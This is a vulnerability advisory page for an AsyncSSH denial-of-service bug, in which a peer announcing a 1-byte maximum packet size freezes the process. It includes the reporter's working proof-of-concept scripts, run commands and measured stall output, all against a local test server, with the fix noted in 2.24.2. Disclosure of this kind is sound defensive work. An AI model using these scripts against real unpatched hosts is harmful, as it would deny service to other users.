Vulnerability DatabaseGHSA-w3vw-hf9q-pm2p

GHSA-w3vw-hf9q-pm2p: 
Python vulnerability analysis and mitigation

Summary

In AsyncSSH through 2.24.1, a peer could set the maximum packet size for a channel as low as 1 byte, making AsyncSSH send each byte of channel data as a separate encrypted packet. AsyncSSH did this work without yielding to the event loop, so a single channel could keep the process busy for seconds or even minutes, delaying or timing out every other connection served by that process. The attacker can be an authenticated client connected to an AsyncSSH server, or a malicious server that an AsyncSSH client connects to. This completes the fix for CVE-2026-62949 (GHSA-rw4j-r22c-9gc3), which only rejected a maximum packet size of 0.

Details

When a channel is opened, each side tells the other the largest data packet it's willing to receive. AsyncSSH 2.24.0 began rejecting a maximum packet size of 0, which previously caused an infinite loop, but any other value was accepted. With a maximum packet size of 1, all data sent on the channel went out one byte per packet, with each packet framed, encrypted, and authenticated separately. AsyncSSH sends as much data as the channel's window allows (2 MiB by default) in a single pass, without yielding to the event loop. In the reporter's measurements, sending 256 KiB this way used about 11 seconds of server CPU instead of a few milliseconds, and a new connection to the same server took over 10 seconds to open in the meantime. When the attacking peer also stopped reading, a 1 MiB transfer left the server unable to accept new connections for several minutes. AsyncSSH now requires a maximum packet size of at least 1024 bytes from the peer when a channel is opened, in either direction, and closes the connection if a smaller value is sent. Mainstream SSH implementations use 16 KiB or more.

Impact

A remote peer can cause a denial of service affecting all connections handled by the same AsyncSSH process:

  • AsyncSSH servers: an authenticated client that can open a channel, such as a session or SFTP channel, can freeze the server for other users.
  • AsyncSSH clients: a malicious or compromised server can stall the client application when it opens a channel. This matters most for applications that connect to many hosts from one process. There is no impact on confidentiality or integrity.

Workarounds

None, other than only accepting logins from trusted users on servers and only connecting to trusted servers from clients.

Proof of concept

The following scripts were written by the reporter. pktsize_server.py is an AsyncSSH server that writes a fixed amount of data on every session. pktsize_client.py measures what the transfer costs the server for several maximum packet sizes, and stall_probe.py measures the effect of one such session on other, unrelated connections to the same server. pktsize_server.py — the victim: an AsyncSSH server that writes PAYLOAD bytes on every session, i.e. an SFTP read, cat bigfile or a forwarded stream in its simplest form. No auth, to keep it minimal.

"""Victim: an AsyncSSH server that writes PAYLOAD bytes to stdout of every
session it accepts (stand-in for an SFTP read, `cat bigfile`, or any
forwarded stream).  No authentication, to keep the repro minimal.
Usage:  python3 pktsize_server.py [PAYLOAD_BYTES]
Prints the TCP port it listens on, then runs until killed.
"""
import asyncio
import sys
import asyncssh
PAYLOAD = int(sys.argv[1]) if len(sys.argv) > 1 else 1 << 20
class Server(asyncssh.SSHServer):
    def begin_auth(self, username):
        return False  # no auth needed
async def handle(process):
    # One ordinary write(): the channel's _flush_send_buf() will emit the
    # whole send window synchronously, in packets of the peer's max_pktsize.
    process.stdout.write(b'x' * PAYLOAD)
    await process.stdout.drain()
    process.exit(0)
async def main():
    key = asyncssh.generate_private_key('ssh-ed25519')
    server = await asyncssh.create_server(Server, '127.0.0.1', 0,
                                          server_host_keys=[key],
                                          process_factory=handle,
                                          encoding=None, line_editor=False)
    print(server.sockets[0].getsockname()[1], flush=True)
    await asyncio.Event().wait()
asyncio.run(main())

pktsize_client.py — cost per byte. Starts the server, then opens one session per announced max_pktsize (that is what we put in SSH_MSG_CHANNEL_OPEN), requests PAYLOAD bytes and reports server CPU, wire bytes and packet count.

"""Cost-per-byte harness.  Starts pktsize_server.py, then opens one session
per announced max packet size, requests PAYLOAD bytes and reports what the
transfer cost the *server*.
Usage:  python3 pktsize_client.py [PAYLOAD_BYTES] [SIZE,SIZE,...]
   e.g. python3 pktsize_client.py 262144 32768,4096,256,16,1
        python3 pktsize_client.py 33554432 32768      (baseline, needs a big payload)
Columns: wall time, server CPU seconds, client CPU seconds, bytes that
crossed the wire towards the client, channel packets received, wire bytes
per payload byte, server CPU microseconds per payload byte.
"""
import asyncio
import os
import resource
import subprocess
import sys
import time
import asyncssh
from asyncssh.connection import SSHClientConnection
PAYLOAD = int(sys.argv[1]) if len(sys.argv) > 1 else 1 << 18
SIZES = ([int(x) for x in sys.argv[2].split(',')] if len(sys.argv) > 2
         else [32768, 4096, 256, 16, 1])
HERE = os.path.dirname(os.path.abspath(__file__))
wire_bytes = 0
pkt_count = 0
_orig_data_received = SSHClientConnection.data_received
_orig_process_packet = SSHClientConnection.process_packet
def _counting_data_received(self, data):
    global wire_bytes
    wire_bytes += len(data)
    return _orig_data_received(self, data)
def _counting_process_packet(self, *args):
    global pkt_count
    pkt_count += 1
    return _orig_process_packet(self, *args)
SSHClientConnection.data_received = _counting_data_received
SSHClientConnection.process_packet = _counting_process_packet
def proc_cpu(pid):
    """CPU seconds (user+sys) consumed so far by another process."""
    try:  # Linux: /proc, 10 ms resolution
        with open(f'/proc/{pid}/stat') as f:
            fields = f.read().rsplit(')', 1)[1].split()
        return (int(fields[11]) + int(fields[12])) / os.sysconf('SC_CLK_TCK')
    except FileNotFoundError:  # macOS/BSD: ps, coarser resolution
        out = subprocess.check_output(['ps', '-o', 'time=', '-p', str(pid)], text=True)
        parts = [float(x) for x in out.strip().replace('-', ':').split(':')]
        return sum(p * 60 ** i for i, p in enumerate(reversed(parts)))
async def run_one(port, pktsize):
    global wire_bytes, pkt_count
    wire_bytes = 0
    pkt_count = 0
    async with asyncssh.connect('127.0.0.1', port, username='x',
                                known_hosts=None) as conn:
        t0 = time.perf_counter()
        # max_pktsize here is what WE announce in SSH_MSG_CHANNEL_OPEN, i.e.
        # the largest data packet the server may send us.
        proc = await conn.create_process('stream', max_pktsize=pktsize,
                                         encoding=None)
        data = await proc.stdout.read()
        await proc.wait()
        t1 = time.perf_counter()
    assert len(data) == PAYLOAD, len(data)
    return t1 - t0
async def main():
    server = subprocess.Popen([sys.executable, os.path.join(HERE, 'pktsize_server.py'),
                               str(PAYLOAD)], stdout=subprocess.PIPE, text=True)
    port = int(server.stdout.readline())
    try:
        await run_one(port, 32768)  # warm-up (imports, first KEX)
        print(f'payload per session: {PAYLOAD} bytes ({PAYLOAD / 1024:.0f} KiB), '
              f'asyncssh {asyncssh.__version__}, Python {sys.version.split()[0]}\n')
        print(f'{"max_pktsize":>12} {"wall s":>8} {"server CPU s":>13} '
              f'{"client CPU s":>13} {"wire bytes":>11} {"chan pkts":>10} '
              f'{"wire/payload":>12} {"srv us/byte":>11}')
        for size in SIZES:
            s0 = proc_cpu(server.pid)
            c0 = resource.getrusage(resource.RUSAGE_SELF)
            wall = await run_one(port, size)
            s1 = proc_cpu(server.pid)
            c1 = resource.getrusage(resource.RUSAGE_SELF)
            scpu = s1 - s0
            ccpu = (c1.ru_utime + c1.ru_stime) - (c0.ru_utime + c0.ru_stime)
            print(f'{size:>12} {wall:>8.2f} {scpu:>13.2f} {ccpu:>13.2f} '
                  f'{wire_bytes:>11} {pkt_count:>10} {wire_bytes / PAYLOAD:>12.1f} '
                  f'{scpu / PAYLOAD * 1e6:>11.3f}')
    finally:
        server.kill()
asyncio.run(main())

stall_probe.py — the co-tenant view. A separate attacker process opens ONE session with max_pktsize=1 (and in stall mode stops draining its TCP socket after 0.5 s); meanwhile this script opens a brand-new, unrelated connection once per second and times it, sampling the server's CPU and RSS.

"""Does ONE session with max_pktsize=1 freeze the whole AsyncSSH server?
Three processes:
  - server  : pktsize_server.py, streams PAYLOAD bytes per session
  - attacker: a separate process that opens ONE session announcing
              max_pktsize=1 and either drains it normally (mode 'read') or
              stops reading its TCP socket after 0.5 s (mode 'stall')
  - probe   : this process; once per second it opens a brand-new SSH
              connection + session (an unrelated "other user") and measures
              how long that takes, plus the server's CPU time and RSS.
Usage:  python3 stall_probe.py [PAYLOAD_BYTES] [read|stall] [SECONDS]
   e.g. python3 stall_probe.py 262144 read 40
        python3 stall_probe.py 1048576 stall 200
"""
import asyncio
import os
import subprocess
import sys
import time
import asyncssh
HERE = os.path.dirname(os.path.abspath(__file__))
PAYLOAD = int(sys.argv[1]) if len(sys.argv) > 1 else 1 << 18
MODE = sys.argv[2] if len(sys.argv) > 2 else 'read'
DURATION = int(sys.argv[3]) if len(sys.argv) > 3 else 40
ATTACKER = r'''
import asyncio, asyncssh, sys, time
async def main():
    port, mode = int(sys.argv[1]), sys.argv[2]
    async with asyncssh.connect('127.0.0.1', port, username='x', known_hosts=None) as conn:
        t0 = time.perf_counter()
        proc = await conn.create_process('stream', max_pktsize=1, encoding=None)
        if mode == 'stall':
            await asyncio.sleep(0.5)
            conn._transport.pause_reading()      # stop draining the TCP socket
            print('attacker: socket reading paused', flush=True)
            await asyncio.sleep(3600)
        data = await proc.stdout.read()
        await proc.wait()
        print(f'attacker: received {len(data)} bytes in {time.perf_counter()-t0:.1f}s', flush=True)
asyncio.run(main())
'''
def proc_stats(pid):
    """(CPU seconds user+sys, RSS in MiB) of another process."""
    try:  # Linux
        with open(f'/proc/{pid}/stat') as f:
            fields = f.read().rsplit(')', 1)[1].split()
        cpu = (int(fields[11]) + int(fields[12])) / os.sysconf('SC_CLK_TCK')
        with open(f'/proc/{pid}/status') as f:
            rss = next(int(l.split()[1]) for l in f if l.startswith('VmRSS:')) // 1024
        return cpu, rss
    except FileNotFoundError:  # macOS/BSD
        out = subprocess.check_output(['ps', '-o', 'time=,rss=', '-p', str(pid)], text=True)
        t, rss = out.split()
        parts = [float(x) for x in t.replace('-', ':').split(':')]
        return sum(p * 60 ** i for i, p in enumerate(reversed(parts))), int(rss) // 1024
async def probe(port):
    t0 = time.perf_counter()
    try:
        async with asyncssh.connect('127.0.0.1', port, username='x', known_hosts=None,
                                    connect_timeout=120) as conn:
            proc = await conn.create_process('stream', encoding=None)
            await proc.stdout.read()
            await proc.wait()
    except Exception as exc:
        return time.perf_counter() - t0, repr(exc)
    return time.perf_counter() - t0, 'ok'
async def main():
    server = subprocess.Popen([sys.executable, os.path.join(HERE, 'pktsize_server.py'),
                               str(PAYLOAD)], stdout=subprocess.PIPE, text=True)
    port = int(server.stdout.readline())
    attacker = None
    try:
        lat, status = await probe(port)
        cpu0, rss0 = proc_stats(server.pid)
        print(f'baseline: fresh connection + session {lat * 1000:.0f} ms ({status}); '
              f'server RSS {rss0} MiB; payload {PAYLOAD >> 10} KiB; attacker mode={MODE}\n')
        attacker = subprocess.Popen([sys.executable, '-c', ATTACKER, str(port), MODE])
        await asyncio.sleep(1.0)
        print(f'{"t (s)":>6} {"probe latency":>14} {"status":>8} {"srv CPU s":>10} {"srv RSS MiB":>12}')
        start = time.perf_counter()
        worst = 0.0
        while time.perf_counter() - start < DURATION and attacker.poll() is None:
            t = time.perf_counter() - start
            lat, status = await probe(port)
            cpu, rss = proc_stats(server.pid)
            worst = max(worst, lat)
            print(f'{t:>6.1f} {lat * 1000:>11.0f} ms {status:>8} {cpu - cpu0:>10.1f} {rss:>12}',
                  flush=True)
            await asyncio.sleep(max(0, 1.0 - lat))
        cpu, rss = proc_stats(server.pid)
        print(f'\nworst probe latency: {worst:.1f} s; server CPU burned: {cpu - cpu0:.1f} s; '
              f'server RSS growth: {rss - rss0} MiB')
    finally:
        if attacker:
            attacker.kill()
        server.kill()
asyncio.run(main())

How to run

pip install asyncssh==2.24.1

# 1) cost per byte: 256 KiB per session, several announced max packet sizes (~20 s)
python3 pktsize_client.py 262144 32768,4096,256,16,1

# 2) baseline at the default packet size; needs a big payload to register on the CPU timer (~1 s)
python3 pktsize_client.py 33554432 32768

# 3) co-tenant freeze: one 256 KiB session at max_pktsize=1, probe connection every second (~20 s)
python3 stall_probe.py 262144 read 40

# 4) 1 MiB with the attacker not draining its socket (~4 min; Ctrl-C whenever you've seen enough)
python3 stall_probe.py 1048576 stall 240

What I get (2-vCPU Linux container, Python 3.13.18, asyncssh 2.24.1)

$ python3 stall_probe.py 262144 read 40
baseline: fresh connection + session 14 ms (ok); server RSS 41 MiB; payload 256 KiB; attacker mode=read
 t (s)  probe latency   status  srv CPU s  srv RSS MiB
   0.0       10112 ms       ok       10.7           41
  10.1          10 ms       ok       10.7           41
  11.1           8 ms       ok       10.7           41
  12.1          10 ms       ok       10.7           41
attacker: received 262144 bytes in 15.1s
worst probe latency: 10.1 s; server CPU burned: 10.7 s; server RSS growth: 0 MiB
$ python3 stall_probe.py 1048576 stall 240
attacker: socket reading paused
baseline: fresh connection + session 19 ms (ok); server RSS 42 MiB; payload 1024 KiB; attacker mode=stall
 t (s)  probe latency   status  srv CPU s  srv RSS MiB
   0.0      120148 ms TimeoutError()      119.8           52
 120.1      120103 ms TimeoutError()      238.9           57
worst probe latency: 120.1 s; server CPU burned: 238.9 s; server RSS growth: 15 MiB

Patches

This issue is fixed in AsyncSSH 2.24.2.

Credits

Thanks to Telmo Xavier (@t31m0) for reporting this issue and providing detailed analysis and proof of concept code.


Source: NVD

Related Python vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

GHSA-r98q-c7gm-3hvgHIGH8.1
  • Python logoPython
  • asyncssh
NoYesNov 27, 2026
GHSA-q4wc-j7xw-w4wpMEDIUM6.8
  • Python logoPython
  • asyncssh
NoYesNov 27, 2026
GHSA-w3vw-hf9q-pm2pMEDIUM6.5
  • Python logoPython
  • asyncssh
NoYesNov 27, 2026
GHSA-pvf2-q84m-2j7gMEDIUM5.3
  • Python logoPython
  • asyncssh
NoYesNov 27, 2026
GHSA-ww8g-78w6-6cgmLOW3.7
  • Python logoPython
  • asyncssh
NoYesNov 27, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Additional Wiz resources

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management